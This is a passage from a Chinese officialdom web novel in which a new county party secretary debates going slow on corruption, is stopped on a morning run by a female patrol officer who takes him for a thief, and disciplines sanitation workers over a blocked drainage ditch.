他不能出卖刘世廷,更不能明说背后的张彪,只能把所有的压力、担忧和“苦衷”,用一种近乎恳求的语气表达出来。
王海峰深吸一口气,身体微微前倾,声音压得很低,带着一种罕见的凝重:“**,我……我明白您的意思,也理解您的愤怒。”
“肖新安之流,确实罪有应得。”
“但是……”他顿了顿,似乎在寻找最合适的措辞,“**,东山的情况,远比表面看到的复杂。”
“这里面的水,太深了。”
他抬眼,迎上江昭宁审视的目光,鼓起勇气继续说道:“有些事,真要彻底翻出来,掀开盖子,牵扯到的可能不仅仅是一两个人。”
“那会是一连串的反应,会拔出萝卜带出泥。”
“甚至……可能会是串案、窝案!”
“涉及的面会非常广,层次也可能很高。”
“到那时,您面临的将不是一两个对手,而是……树敌无数!”
“整个东山的局面可能会瞬间变得异常复杂,甚至……失控。”
王海峰看到江昭宁眉头紧锁,但并未立刻反驳。
便赶紧补充道:“而且,**,恕我直言,这绝非危言耸听。”
“我们不得不考虑极端情况。”
“有些利益链条盘根错节,动其根本,难保不会有人狗急跳墙,铤而走险!”
“为了东山来之不易的稳定大局,为了东山的发展,也……也为了您自身的安全考虑,**!”他加重了“安全”二字的语气。
“所以,你觉得现在这样处理,就是最好的结果?”江昭宁的声音听不出喜怒。
“**,这绝不是妥协!”王海峰立刻强调,语气甚至带上了一丝急切,“这是策略!是必要的策略!”
“打蛇打七寸,但也要找准时机,一击必中。”
“我们现在需要的是稳住局面,让交巡警改革顺利落地,让新的力量发挥作用。”
“在这个过程中,逐步巩固您的位置和威信。”
“同时,暗中收集更扎实、更全面的证据。”
“等您的根基更稳,力量更强,时机更成熟时,再对那些真正的毒瘤,进行精准、彻底的清除!”
“现在贸然全面开战,风险太大,成本太高,可能会让前期所有的努力都付诸东流,甚至引发更大的混乱。”
“**,请您三思啊!”
王海峰说完,感觉后背的衬衫都已被冷汗浸湿。
他紧张地看着江昭宁,等待着这位年轻却意志如铁的**的最终决断。
办公室里陷入了令人窒息的沉默。
窗外的阳光依旧炽烈,照耀着楼下新上街执勤的交巡警们闪亮的警徽,也无声地映照着这间办公室里关于权力、原则、现实与策略的激烈交锋。
江昭宁靠在宽大的椅背上,手指依然在桌面上轻轻敲击着,目光深邃,望向窗外繁忙的街景。
他看到了新生的“交巡警”在履行职责,也仿佛看到了肖新安被开除后可能投向的某个阴暗角落,更看到了王海峰口中那深不见底的“水”下,潜藏着的巨大阴影。
愤怒的火苗在他胸中并未熄灭,反而燃烧得更旺。
但他明白,王海峰的话,尽管带着畏缩和“和稀泥”的成分,却也道出了东山残酷的现实——这不是简单的惩恶扬善,而是一场需要极高
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**智慧和耐心的复杂战役。
莽撞冲锋是不成的。
“策略……”江昭宁缓缓吐出这两个字,声音低沉而冰冷,像淬火的铁,“好一个策略。”
他没有再斥责王海峰,但也没有表示赞同。
那份关于“轻轻放过”的报告,被他随手丢进了办公桌最下层的抽屉里,却没有合上抽屉,仿佛预示着这件事远未结束。
“我知道了。你回去吧。”江昭宁摆了摆手,语气恢复了平静,却比之前的质问更让王海峰感到不安。
那平静之下,似乎酝酿着更汹涌的暗流。
王海峰如蒙大赦,又心有余悸地退出了办公室。
门关上的瞬间,江昭宁的目光重新变得锐利无比。
他拿起笔,在便签纸上重重写下了两个名字:肖新安,张彪。
又在旁边画了一个巨大的问号和一个箭头,指向更深邃的未知。
“慢慢来?”江昭宁看着纸上的名字,嘴角勾起一抹冷冽的弧度,“可以。那就慢慢来。”
“但该清算的,一个也跑不掉。我们,走着瞧。”
阳光透过窗户,落在那张便签纸上,两个名字仿佛被镀上了一层冰冷的金色。
整顿的第一步,看似尘埃落定,实则,一场更深、更险的较量,才刚刚拉开序幕。
交巡警的警徽在街上闪烁,而暗处的阴影,也在无声地蠕动。
东山的棋局,进入了更复杂的博弈阶段。
……
黎明的薄纱尚未完全褪去,灰蓝色的晨雾便已悄然弥漫开来,缠绕在县城的街巷之间。
这雾气带着一种粘稠的质感,像稀释了的牛乳,沉甸甸地悬垂着,将远处几栋高楼的轮廓揉搓得模糊不清。
路灯的光晕在浓雾中挣扎着,艰难地透出几团昏黄、浑浊的光,勉强映照着下方湿漉漉的柏油路面,反射出幽暗、断续的微光。
空气是冷的,带着一股露水和泥土混合的湿润气息,每一次呼吸,都像吸入了一小片微凉的、饱含水分的地域。
县委大院那扇侧门滑开一道缝隙。
一个身影轻捷地从门内闪出,旋即融入了门外那片浓得化不开的灰白世界。
第109章 语言陷阱
江昭宁开始了晨跑之路。
他穿着深灰色的运动服,身影在雾气中显得单薄而坚定。
初来东山的日子,如同被投入了一个高速旋转的陀螺中心。
铺天盖地的文件、接踵而至的汇报、处理各种问题,深入村镇的调研、亟待梳理的人事脉络……千头万绪,像无数条看不见的丝线,将他紧紧缠绕在办公室那方寸之地,连呼吸都带着案牍劳形的沉重。
晨跑这项坚持了多年的习惯,被无情地挤压出去,连同清晨那一点属于自我的清静时光。
如今,最汹涌的激流似乎暂时平缓了一些。
工作依然繁杂,但至少不再是令人窒息的千钧重压。
于是,这雾蒙蒙的清晨,成了他重拾习惯的信号。
脚下的跑鞋踏在潮湿的路面上,发出轻微而富有弹性的“嗒、嗒”声,在空旷寂静的街道上显得格外清晰。
他调整着呼吸的节奏,尽量让脚步轻盈。
雾气濡湿了他的发梢和前额,微凉的空气涌入肺部,带来一种久违的、带着轻微刺痛的清醒感。
他跑过县委大院侧门那条熟悉的窄巷,巷口那家常年挂着“早点”招牌的小店还紧闭着门板,只有店门口那只老旧的铁皮煤炉沉默地蹲在雾里。
再往前,是县农业局略显陈旧的大楼,灰扑扑的墙体在雾气中更显斑驳。
街道并非全然死寂。
偶有早起的清洁工,穿着橙黄色的背心,挥动着长长的竹扫帚,发出沙沙的声响,搅动着浓雾。
更远处,朦胧的光晕里,隐约可见穿着藏青色制服的身影在街角晃动。
那是巡警,已经开始了一天的执勤。
这清晨的薄雾里,他们的身影如同沉默的礁石,透着一股紧绷的警觉。
江昭宁沿着规划好的路线跑着,身体逐渐适应了节奏,肌肉的紧绷感开始被一种温和的暖意取代。
他刻意选择这条经过老城区边缘的路线,就是想用脚步去重新丈量这座县城沉睡的脉搏。
然而,这份清晨的专注,很快被一阵异样的引擎低吼打断。
声音从身后由远及近,带着一种不容忽视的压迫感。
他下意识地放缓了脚步,微微侧头用余光瞥去。
浓雾被粗暴地撕开,一辆警用摩托如同从灰白幕布后突然冲出的剪影,车头的大灯在雾气中劈开两道昏黄的光柱,直直地向他射来。
摩托的速度很快,引擎声越来越响,带着一种不容置疑的拦截意味。
江昭宁心头本能地掠过一丝警惕。
他停下脚步,身体微微绷紧,站在原地。
看着那辆摩托以一个利落的甩尾动作,猛地横亘在自己前方不到两米的地方。
车轮摩擦湿滑的地面,发出短促刺耳的声响,尾气混入浓雾,带来一股刺鼻的机油味。
摩托骑手稳稳跨坐在车上,戴着头盔,深色的护目镜完全遮住了眼睛,只露出紧绷的下颌线条。
藏青色的**在昏黄的车灯光晕下泛着冷硬的光泽。
那护目镜后的视线,隔着雾气,带着毫不掩饰的审视和质疑,牢牢锁定在江昭宁身上。
“站住!”一个清亮但透着严厉的声音从头盔下传出,打破了清晨的寂静,“你是什么人?”
声音在雾气中显得有些失真,但那份公事公办的冷硬却穿透了阻碍。“大清早的,从县委大院跑出来?干什么的?”
巡警的目光锐利地扫过江昭宁的衣着——普通的深灰色运动服,沾着点点晨雾凝结的水珠,没有口袋,不像能藏匿东西的样子。
但这并不能打消他的疑虑。
他微微扬了扬下巴,语气更加生硬:“说,是不是假装跑步脱逃?”
“你这个小偷!”
这个猜测带着一种职业性的思维定式。
在浓雾弥漫的清晨,一个从机关大院独自跑出的身影,怎么看都透着几分可疑。
江昭宁一愣,随即被这突如其来的盘问和“小偷”、“脱逃”的指控弄得有些哭笑不得。
他脸上肌肉牵动了一下,露出一个介于无奈和好笑之间的表情,声音尽量平和:“同志,你没看到吗?我在晨跑,锻炼身体。”
他甚至还象征性地原地小跑了两步,试图证明自己行为的纯粹性。
“晨跑?”巡警的声音陡然拔高,带着明显的不信任,仿佛听到了一个拙劣的借口。
他抬手指了指周围弥漫的、几乎伸手不见五指的浓雾,“晨跑非要在这种雾蒙蒙的时候?路都看不清!”
“你蒙谁呢?”
他的质疑尖锐而直接,透着一线干警特有的直率和某种缺乏变通的执拗。<
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br>巡警握着车把的手紧了紧,身体微微前倾,显然准备应对任何可能的反抗或辩解。
江昭宁被这近乎不讲理的质问给气乐了,嘴角勾起一抹无奈的弧度,反问道:“晨跑还要分有雾没雾吗?”
“哪条法律规定了有雾天不能跑步?”
他的语气依旧平静,但话语里的逻辑却清晰有力。
这位巡警显然没料到对方会这样反问,头盔下的表情似乎僵了一下,一时语塞。
他大概觉得自己的盘问天经地义,从未被人如此轻巧地顶回来过。
就在他愣神的瞬间,江昭宁的目光扫过他警服胸口的警号标识,又捕捉到头盔边缘露出的几缕细碎发丝,心中了然。
他话锋一转,带着一丝不易察觉的促狭,将对方刚才的逻辑原封不动地抛了回去:“哦?那同志你倒说说,巡逻还分有雾没雾吗?”
“有雾你们就不巡逻了?”
他的目光坦然地迎向护目镜后那双看不见的眼睛。
“巡逻还分有雾没雾?”这句话几乎是下意识地从年轻巡警口中冲了出来,带着一种维护职业尊严的本能。
他挺直了腰背,摩托车的引擎在她脚下发出低沉的嗡鸣,像是在为自己助威。
然而,话一出口,他自己也立刻意识到了问题——这不正是对方刚刚用来反驳自己的逻辑吗?
自己居然不假思索地掉进了这个简单的语言陷阱里。
“那你诘问**吗?”江昭宁的声音很轻,却像一把小锤子,精准地敲打在对方逻辑的裂隙上。
他脸上的笑意加深了,带着一种洞悉的从容。
巡警整个人像是被无形的绳索勒住了喉咙,头盔下的呼吸明显一窒。
他握着车把的手微微抖了一下,引擎的嗡鸣声也仿佛随之低落下去。短暂的、令人尴尬的沉默在浓雾中弥漫开来。
他显然被自己这前后矛盾、搬起石头砸了自己脚的逻辑给噎住了。
一时找不到任何有力的反驳之词,只能僵在摩托车上。
江昭宁看着他这副模样,心中那点因被无端拦截盘查而升起的不快也消散了大半。
他忽然起了点探究的心思,目光在她头盔边缘那几缕倔强翘起的发丝上停留了一瞬,声音里带着一丝了然的笑意:“同志,你是女的吧?”
第110章 真的是他!
他问得直接,语气却并无冒犯,更像是一种确认。
这个问题来得突然,却又合情合理。
头盔下的身躯似乎瞬间绷得更紧了。
短暂的沉默后,一个带着被戳穿身份后羞恼和倔强的女声响起:“女的怎么了啊?”
她猛地抬起手,一把抓住头盔下沿,动作带着一股不服输的劲头,用力向上一掀。
头盔被摘了下来。
浓雾仿佛被这利落的动作短暂驱散了一角。
一张年轻的脸庞暴露在昏黄的路灯光线和湿冷的空气中。
汗水濡湿了额前几绺碎发,紧贴在光洁饱满的额头上。
眉毛英气地扬起,鼻梁挺直,紧抿的嘴唇线条清晰有力,下颌的轮廓带着一种不容忽视的倔强。
汗水在她脸颊上划出亮晶晶的痕迹,更衬得皮肤白皙。
果然是一位飒爽英姿的女警。
只是此刻那双明亮的眼睛里,除了职业性的锐利,还混杂着被激怒的火焰和一丝不易察觉的慌乱。
“女的干巡警?”江昭宁看着这张年轻而富有朝气的脸庞,确实有些意外。
一线巡逻,尤其是这种清晨高危时段的执勤,在基层警队里,女性确实少见。
他下意识地重复了一句,语气里带着真实的惊讶和一丝探究。
这句无心的重复,在对方耳中却瞬间被解读成了质疑和轻视。
这位女警叫方黎。
她的怒火“腾”地一下被点燃了。
她刚刚被对方的逻辑堵得哑口无言,现在又听到这种似乎带着偏见的疑问,新仇旧恨瞬间涌上心头。“女人就不能干巡警?”
“你这是什么意思?性别歧视吗?!”
她柳眉倒竖,声音陡然拔高,像一把淬了火的刀子,直直刺向江昭宁。
身体也下意识地从摩托车上微微前倾,充满了攻击性。
刚才的憋屈,此刻仿佛找到了一个宣泄口。
江昭宁看着她这副随时准备战斗的姿态,以及那双几乎要喷出火来的眼睛,心中了然。
这姑娘的敏感和尖锐,背后恐怕藏着不少故事和压力。
他无意在这个浓雾弥漫的清晨、在街头和一个年轻的女警展开一场关于性别平等或职业选择的辩论。
他来这里是为了跑步,不是为了吵架。
他轻轻摆了摆手,脸上的表情恢复了惯有的平静,甚至带着一丝安抚的意味。“好了,同志,到此为止吧。”
他的声音沉稳下来,带着一种不容置疑的结束意味,“我是县委的江昭宁。”
“现在,我可以继续跑步了吗?”
他报出自己的名字和身份,并非为了施压。
只是想结束这场无谓的纠缠,回到自己被打断的晨跑中去。
“江…江昭宁?”
这个名字如同一个无形的、却带着万钧之力的巨锤,毫无预兆地砸在了方黎的心口。
那瞬间的冲击力是如此巨大,以至于她感觉整个世界的声音都消失了。
只剩下自己胸腔里那颗心脏疯狂擂鼓般的跳动声,咚咚咚,震耳欲聋,几乎要破膛而出。
江昭宁?
县委的江昭宁?
那个新来的、在电视新闻里总是神情严肃地部署工作、讲话条理清晰得让人心头发紧的县委**?
那个杀伐果断,让官员闻风丧胆,名字最近在局里大小会议上被反复提及、让很多人私下里议论纷纷甚至带着几分敬畏的“年轻**”?
方黎全身的血液仿佛在听到这个名字的刹那,倏地一下,全部涌向了头顶。
又在下一秒,被一只无形冰冷的手狠狠攥住,猛地抽空!
一股刺骨的寒意从脚底板瞬间窜上天灵盖,让她不由自主地打了个寒噤,连牙齿都开始轻轻磕碰起来。
她感觉自己的脸颊在瞬间失去了所有知觉,变得僵硬、冰冷,如同戴上了一层石膏面具。
只有眼睛,不受控制地、死死地盯住眼前这个穿着普通运动服的男人。
是他!真的是他!
刚才被浓雾和争执的怒火遮蔽了视线,此刻,那浓眉,那深邃的眼神,那棱角分明的下颌线……
与她在电视新闻里看到的那张脸,迅速而残酷地重叠在一起!
妈呀!
方黎脑子里嗡的一声,像有千万只蜜蜂在同时振翅。
一股巨大的、灭顶的恐慌如同冰冷的海啸,瞬间将她彻底淹没。
自己干了什么?
自己竟然把新来的县委**当成小偷拦在街头,还疾言厉色地盘查,甚至指责他“性别歧视”?
那些带着火
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气、毫不客气冲出口的话,此刻像一把把烧红的烙铁,在她脑海里疯狂翻腾、灼烧!
每一句回想起来,都让她恨不得立刻找个地缝钻进去,或者当场晕倒!
完了!彻底完了!
自己闯下了泼天大祸!
惹了一个自己绝对、绝对惹不起的人!
什么“金鼎”娱乐城的线索,什么调离原岗位的憋屈……和眼前这个天塌地陷般的错误比起来,简直不值一提!
她仿佛已经看到了自己被严厉处分、甚至被一脚踢出**队伍的悲惨结局。
巨大的恐惧攫住了她的心脏,让她几乎无法呼吸。
双腿像被抽去了所有的骨头,软绵绵地再也支撑不住身体的重量。
一阵强烈的眩晕袭来。
她下意识地伸手死死抓住冰冷的摩托车把手,才勉强没有瘫软下去。
汗水,不再是运动后的热汗,而是冰冷的、黏腻的冷汗,瞬间浸透了她的后背。
然而,预想中的雷霆震怒并没有降临。
江昭宁只是淡淡地看了她一眼。
那眼神里没有愤怒,没有指责。
甚至没有多少情绪的波澜,平静得如同深不见底的古井水。
那目光在她煞白的脸上停留了不到一秒,仿佛只是掠过一片无关紧要的风景。
然后,他什么也没说。
没有斥责,没有追问,甚至连一丝停留的意思都没有。
他就像什么都没发生过一样,微微调整了一下呼吸,脚步轻盈地一动。
身影便倏然从她僵硬的摩托车旁掠过,仿佛她只是一个路边的障碍物,一个不值得浪费时间的背景板。
他重新迈开步子,速度不快,却异常稳定和流畅,眨眼间就再次融入了前方那片浓得化不开的灰白色雾气之中。
脚步声“嗒、嗒、嗒”,由近及远,迅速变得微弱,最终被浓雾彻底吞噬,消失不见。
只留下方黎一个人,如同被施了定身咒一般,僵硬地跨坐在冰冷的警用摩托车上。
冰冷的金属触感透过裤子传到皮肤,却远不及她心底的寒意。
头盔被她无意识地紧紧抱在怀里,像抱着一个救命的浮木。
她死死盯着江昭宁消失的方向,眼前只剩下翻滚涌动、深不见底的浓雾。
第111章 哼哈二将?
那雾,仿佛变成了无数张嘲弄的、狰狞的脸,无声地包围着她,挤压着她。
巨大的后怕和绝望如同冰冷的毒蛇,顺着脊椎蜿蜒而上,死死缠绕住她的心脏,越收越紧。
整个世界只剩下她粗重而颤抖的呼吸声,以及脑海里反复回荡的、足以将她彻底摧毁的三个字——江昭宁。
浓雾包裹着小小的街心公园,像一层厚厚的、湿冷的茧。
高大的香樟树在雾中只剩下模糊的深色轮廓,如同沉默的巨人。
石板小径湿漉漉的,踩上去几乎听不到脚步声。
空气里弥漫着草木被露水打湿后的清冽气息,还有泥土微微发酵的芬芳。
江昭宁放缓了脚步,由跑转走。
方才街头那一幕带来的些微波澜,此刻已在他心底平息下去。
那年轻女警瞬间煞白的脸和眼中巨大的惊恐,他自然看在眼里。
那反应,与其说是对他个**力的畏惧,不如说是整个体制森严等级投射在基层人员心中最真实的恐惧阴影。
他无意去加深这种恐惧,更无意以势压人。
一个县委**若真要计较这点微不足道的冒犯,那格局未免也太小了。
他沿着蜿蜒的石板小径慢慢走着,深深呼吸着这难得的、带着草木清香的湿润空气。
身体因为持续的运动而微微发热,驱散了清晨的寒意。
思绪逐渐从刚才的小插曲中抽离,开始漫无边际地漂浮。
脑海中掠过昨天下午那个关于开发区征地补偿款发放进度的汇报,几个关键数据似乎有些滞涩;又想到上午要去走访的城北那片老旧小区,排水问题困扰居民多年,改造方案的资金缺口还得再想办法……
“这新来的‘娃娃**’,怕不是银样蜡枪头吧?”一个苍老而略带沙哑的声音,带着毫不掩饰的怀疑,穿透浓雾,隐隐约约地飘了过来。
“嘘!小声点!让人听见……”另一个稍显谨慎的声音立刻压低了阻止。
“怕啥?这大雾天的,谁听得见?”第一个声音不以为然地反驳道,“你看他来了两个月,动静倒是不小,大会开了不老少,文件发了一箩筐,可咱家门口那臭水沟,不还照样堵着?光打雷不下雨!”
江昭宁的脚步微微一顿。
声音来自不远处浓雾笼罩的凉亭方向。
“大爷,您家住哪?是那臭水沟堵着?”江昭宁不动声色地问道。
“我是烟雨街道的居民,就是我门前的臭水沟堵着的,怎么啦,你能解决?”
“我能!”
“吹吧你!”
他无声地笑了笑,没有靠近,也没有刻意避开,只是继续沿着小径缓步前行。
质疑的声音,他听得太多了,尤其是在这根基深厚的东山。
基层的信任,从来不是靠文件和会议能轻易建立的,它需要时间,更需要扎扎实实落在泥土里的脚印和看得见摸得着的改变。
这抱怨,反而像一根无形的鞭子,轻轻抽打在他心上,提醒着他前路的漫长和肩上担子的分量。
他走到公园中央的小池塘边。
池水在浓雾中黑沉沉的,倒映不出任何景物。
几片枯黄的柳叶漂浮在水面,随着几乎看不见的涟漪轻轻晃动。
他静静地看着这片混沌的水面,眼神变得深邃。
良久,他再次迈开脚步,绕着池塘走了一圈。
晨光似乎努力地想要穿透浓雾,天空的灰蓝色稍微明亮了一些。
公园里开始出现其他晨练者的身影,模糊的影子在雾中晃动,太极拳舒缓的音乐声若有若无地传来。
该回去了。
江昭宁最后看了一眼依旧迷蒙的池塘,转身朝着公园出口,朝着县委大院的方向跑去。
浓雾在他身后,似乎被这坚定的脚步搅动得淡薄了一分。
江昭宁吃了早餐后,回到了办公室。
他拿起电话,拨给陈向荣,声音不大,却似金石坠地:“烟雨街道的臭水沟,是谁负责疏通的?”
听筒那边静了一瞬,随即传来陈向荣明显不稳的气息和纸张哗啦的翻动声。“江**……这个……是环卫所职责范围,我、我立刻查清责任人!”
江昭宁不再多言,挂了电话。
办公室重归寂静。
他向来容不得秩序之外的不谐,那淤塞的沟渠,便是横亘在他心中一根无法忽视的芒刺。
电话铃声骤然划破寂静。
“江**,”陈向荣的声音带着一丝谨慎的喘息,“烟雨街道那一带,卫生区域归属刘建东、王强二人。臭水沟的疏通维护,是职责所在。”
“哼哈二将?”江昭宁嘴角掠过一丝冰冷的弧度。
此刻,这名字从齿缝间挤出,裹挟着雷霆欲来的风暴,“告诉环卫所张立民,他这个负责人领导责任在肩,督促不严
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!”
“扣他一个月绩效考核!”
陈向荣在那头屏住呼吸,连一声“是”都显得格外短促。
“至于那哼哈二将,刘建东、王强,”江昭宁的声音陡然拔高,字字如锤砸落,“责令立刻疏通!”
“再扣罚一个月工资,外加一个季度绩效奖金!”
“全系统通报批评,以儆效尤!”
江昭宁稍作停顿,让那无声的威慑力在电话线两端弥漫开来,最后沉沉补上一句,“下不为例,再犯,决不姑息!”
“是!明白!江**!”陈向荣的回答斩钉截铁,再无一丝犹疑。
江昭宁搁下听筒,办公室复归沉寂,只有墙上挂钟的秒针在雨声背景里固执前行。
他靠回椅背,闭上眼。
在环卫所那间略显杂乱的办公室内,张立民接到陈向荣训斥的电话后额上瞬间沁出的冷汗。
这个基层的小头目,此刻面如土色,对着话筒唯唯诺诺。
张立民放下电话后,颓然跌坐椅中,一只手无意识地抹过额头,指尖冰凉。
办公室里的空气凝滞如铅。
他深知,江**口中这“领导责任”四字重逾千斤,绝非虚言恫吓。
张立民猛地站起,焦躁地在狭窄的空间里踱了两步,最终抓起另一部电话,拔号的指尖带着不易察觉的颤抖:“立刻滚到所里来!”
声音嘶哑,如同被砂纸打磨过。
通报文件很快拟好,白纸黑字,力透纸背,如同判决书。
张立民握着笔,在签发栏悬停了片刻,那支笔仿佛重若千钧。
终于,他深吸一口气,手腕沉沉落下,签下自己的名字。
笔尖划过纸张的“沙沙”声,在这死寂的办公室里,清晰得惊心动魄。
他签下的,是两道严厉的处罚令,更是悬在自己头顶的一柄利剑。
他随即拨通了陈向荣的电话,声音干涩紧绷:“陈局长,处理意见……已经落实,通报马上发出。”
此时,刘建东和王强正缩在一处街边简陋的早餐摊棚下吃早餐。
油腻的小桌上,残存着碗碟,劣质香烟的烟雾在他们之间懒散地缭绕。
手机铃声突兀响起,王强瞥了一眼,脸上那点因热汤带来的红晕瞬间褪尽,变得灰白。
他捅了捅旁边正叼着烟、百无聊赖的刘建东,声音发紧:“东子……张所……火气冲天……要找你!”
第112章 为什么要逞口舌之快?
刘建东不耐烦地掐灭烟头,刚“喂”了一声,听筒里便炸开张立民暴怒的咆哮,字字如冰雹砸来:“你的电话也不通……”
“**!江**亲自过问!……工资绩效全扣!通报!立刻滚回来疏通!立刻!”
电话被狠狠挂断,忙音刺耳。
刘建东握着手机僵在原地,脸上的血色也褪得一干二净,连指尖夹着的半截香烟灰烬簌簌掉落在油腻的裤腿上,也浑然未觉。
方才那点散漫闲适被彻底击碎,只剩下灭顶的茫然和冰冷的恐惧——通报批评、工资绩效化为泡影……这惩罚的冰锥,已然悬顶,寒意砭骨。
住建局办公楼里,打印机低沉地嗡鸣起来。
雪白的纸张一页页吐出,上面清晰地印着对张立民、刘建东、王强的处理决定,每一个字都冰冷而坚硬。
江昭宁办公室的门紧闭着,他端坐办公桌后,目光沉静地落在窗外渐渐清晰的街景上。
那淤塞的臭水沟,此刻正被高压水枪猛烈冲击着,浊水裹挟着腐烂的淤物,重新汇入地下深沉的脉络。
权力肃杀如秋霜,那薄薄的通报文件,无声地传递至系统内每一个角落,成为一道鲜明而凛冽的界碑——规则不容亵渎,懈怠必付代价。
……
时间在煎熬中如同被冻结的蜜糖,流淌得缓慢而粘稠。
对方黎来说,每一分、每一秒都像是在滚烫的油锅里反复煎炸。
她回到了办公室。
她失魂落魄地坐在椅子上。
指尖冰凉,身体内部却有一股燥热在左冲右突,让她坐立不安。
脑子里像有一台坏掉的放映机,反复播放着清晨那可怕的一幕,每一个细节都被无限放大,带着锋利的锯齿,反复切割着她的神经。
“完了……彻底完了……”这个念头像魔咒一样盘旋不去。
这个江**的冷酷是出了名的,整治了多少人啊!
得罪他的人几乎没有一个有好下场的。
进火葬场的,进牢房的,罢官的,开除的,辞退的,不一而足。
想想就害怕!
她仿佛已经看到盖着鲜红大印的处分决定:记大过?开除?甚至……她不敢再想下去。
巨大的恐惧如同冰冷的潮水,一波又一波地冲击着她摇摇欲坠的心理防线。
她想去找教导员,却迟迟不敢去。
怎么开口?
说自己把县委**当贼给抓了?
说自己在**面前大放厥词?
魏教导员怕不是会当场把她骂个狗血淋头,然后直接让她卷铺盖滚蛋!
……
夜晚降临,方黎蜷缩在冰冷的单人床上,薄薄的被子裹紧全身,却依然感觉不到丝毫暖意。
窗外的城市灯光透过薄薄的窗帘缝隙,在地上投下一条扭曲的光带。
她睁大眼睛,死死盯着天花板模糊的轮廓,仿佛那里随时会浮现出盖着公章的**。
每一次楼下传来汽车经过的声音,每一次隔壁邻居模糊的说话声。
甚至风吹动窗框的轻微声响,都会让她像受惊的兔子一样猛地一颤,心脏狂跳。
以为那是组织上派人来通知她接受处分了。
她不敢关灯,昏黄的床头灯成了这无边黑暗和恐惧中唯一的依靠。
脑海里不受控制地模拟着各种可怕的场景:被叫到局长办公室,面对领导痛心疾首的训斥和失望的眼神。
在全局大会上被点名批评,成为所有人的反面教材。
收拾东西默默离开警队时,同事们或同情或鄙夷的目光……
每一个画面都让她心如刀绞,冷汗涔涔。
悔恨像无数只蚂蚁啃噬着她的心。
为什么要那么冲动?
为什么要逞口舌之快?为什么偏偏在那个时间、那个地点,拦下了那个人?
如果当时态度好一点,如果当时能再仔细看一眼……
可惜,世上没有后悔药。
泪水无声地从眼角滑落,濡湿了枕巾。
她紧紧咬着下唇,尝到了一丝血腥味,却感觉不到疼痛。
巨大的精神压力像一座无形的大山,压得她喘不过气,几乎要崩溃。
她就这样睁着眼睛,在极度的恐惧、悔恨和自我厌弃中,熬过了一个又一个漫长如世纪的小时。
窗外的天色,从浓黑,到深灰,再到一种令人绝望的鱼肚白。
整整两天,她如同惊弓之鸟,上班时强打精神,却心不在焉,看谁都像是来传达坏消息的。
食不知味,寝不安席,整个人迅速地憔悴下去,眼窝深陷,脸色苍白得像一张纸。
处分通知像一把悬在头顶的达摩克利斯之剑
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,不知何时会落下,这种等待的煎熬,比任何已知的惩罚都更折磨人。
第三天下午,临近下班时分。
方黎正坐在自己靠窗的位子上,对着电脑屏幕上一份她看了半天却一个字也没看进去的巡逻记录发呆,手指无意识地抠着桌面边缘一块翘起的木皮。
突然,桌上的内线电话刺耳地响了起来!
“叮铃铃——叮铃铃——”
这声音在相对安静的办公室里显得格外突兀,如同一根冰冷的针,狠狠扎进方黎紧绷的神经!
她整个人剧烈地一抖,仿佛被电流击中,差点从椅子上弹起来。
脸色瞬间褪尽了最后一丝血色,变得惨白如纸。
心脏像是被一只无形的手狠狠攥住,然后疯狂地撞击着胸腔,咚咚咚的巨响几乎要震破她的耳膜。
来了!终于来了!
是局长办公室?还是局纪委?
她甚至能想象出电话那头冰冷、公式化的声音:“方黎同志,请立刻到办公室来一趟……”
巨大的恐惧如同冰冷的潮水瞬间将她淹没,让她几乎窒息。
她伸向电话听筒的手抖得厉害,指尖冰凉,像刚从冰水里捞出来。
她闭上眼睛,深深吸了一口气,用尽全身力气才勉强控制住颤抖,拿起听筒,声音干涩得如同砂纸摩擦:“喂……您好,交巡警大队,方黎。”
“方黎同志吗?”电话那头传来一个温和、清晰、带着点书卷气的男声,语气平稳,听不出任何情绪,“我是江**的秘书林夕。”
林夕?!
这两个字如同四记重锤,狠狠砸在方黎的耳膜上!
她感觉眼前猛地一黑,身体晃了晃,连忙用另一只手死死撑住桌面才没摔倒。
血液似乎在这一刻完全停止了流动,四肢百骸一片冰冷。
完了!
最坏的结果来了!
**的秘书林夕直接打电话?
这绝不是普通的内部处分了!
她甚至能预感到,下一句就是“请你过来一趟,配合调查”或者“你的行为造成了极其恶劣的影响”……
绝望像藤蔓一样缠绕住她的心脏,越收越紧。
她喉咙发紧,几乎发不出声音,只能死死咬着嘴唇,用尽全身力气才挤出一个破碎的音节:“……是,我是。”
第113章 正式通知
“方黎同志,”电话那头的声音依旧平稳,听不出丝毫波澜,却带着一种不容置疑的正式感,“江昭宁**让我正式通知你一下。”对方特意加重了“正式通知”四个字的语气。
方黎的心沉到了冰冷的谷底,浑身冰凉,指尖几乎要失去知觉。
她闭上眼,等待着最终的判决词。
“**请你明天早上七点之前,”那个温和的声音清晰地传来,没有任何停顿,“穿着警服,准时到县委他的办公室报到。”
“啊?”方黎下意识地发出一声短促的惊呼,整个人都懵了。
她以为自己听错了,巨大的震惊甚至暂时压过了恐惧。
报到?穿着警服?去县委大院门口?
这是什么意思?不是处分通知?
“听清楚了吗?方黎同志?”电话那头的声音确认道。
“听……听清楚了!”方黎猛地回过神,连忙应道,声音因为过度紧张而有些变调,“明天早上七点之前,穿警服,**办公室报到!”
“我……我记住了!”她像复读机一样重复着指令,脑子里却一片混乱的浆糊。
“好,请务必准时。”对方说完,便干脆利落地挂断了电话。
“嘟…嘟…嘟…”听筒里只剩下忙音。
方黎却依旧僵硬地握着听筒,仿佛它已经和她的手冻结在了一起。
脸上的血色褪去又涌上,涌上又褪去,变幻不定。
巨大的困惑和更深的不安取代了刚才纯粹的恐惧,像新的迷雾一样将她笼罩。
江**……他到底想干什么?
穿警服去县委大院报到?
是新的、更严厉的处罚方式吗?
还是要当众训斥她?
或者……她不敢再想下去。
刚刚熄灭的恐惧之火,被这意想不到的通知,重新点燃,而且烧得更加猛烈,带着一种未知的、更令人心悸的煎熬。
这一夜,注定又是一个彻底的不眠之夜。
窗外城市的灯光在黑暗中明明灭灭,如同她此刻纷乱如麻、忐忑欲裂的心绪。
清晨,天光未透,夜色与晨曦在东山县城上空进行着最后的拉锯。路灯依旧亮着,在清冷的空气中投下一个个昏黄的光圈。
方黎再也睡不着觉,她马上起来草草地吃了一包方便面。
方黎早早就站在了大门斜对面人行道的一棵梧桐树下。
县委大院那扇威严的黑色大铁门紧闭着,门卫室亮着灯,隐约可见值班员的身影。
她穿着熨烫得一丝不苟的秋季警服,藏青色的呢料厚实挺括,肩章上的警徽在昏暗光线下反射着冷硬的微光。
深蓝色的警用棉帽端端正正地戴在头上,帽檐压得很低,几乎遮住了她大半张苍白的脸。
即便如此,也难以掩盖她眼底浓重的青黑色阴影和那份深入骨髓的紧张。
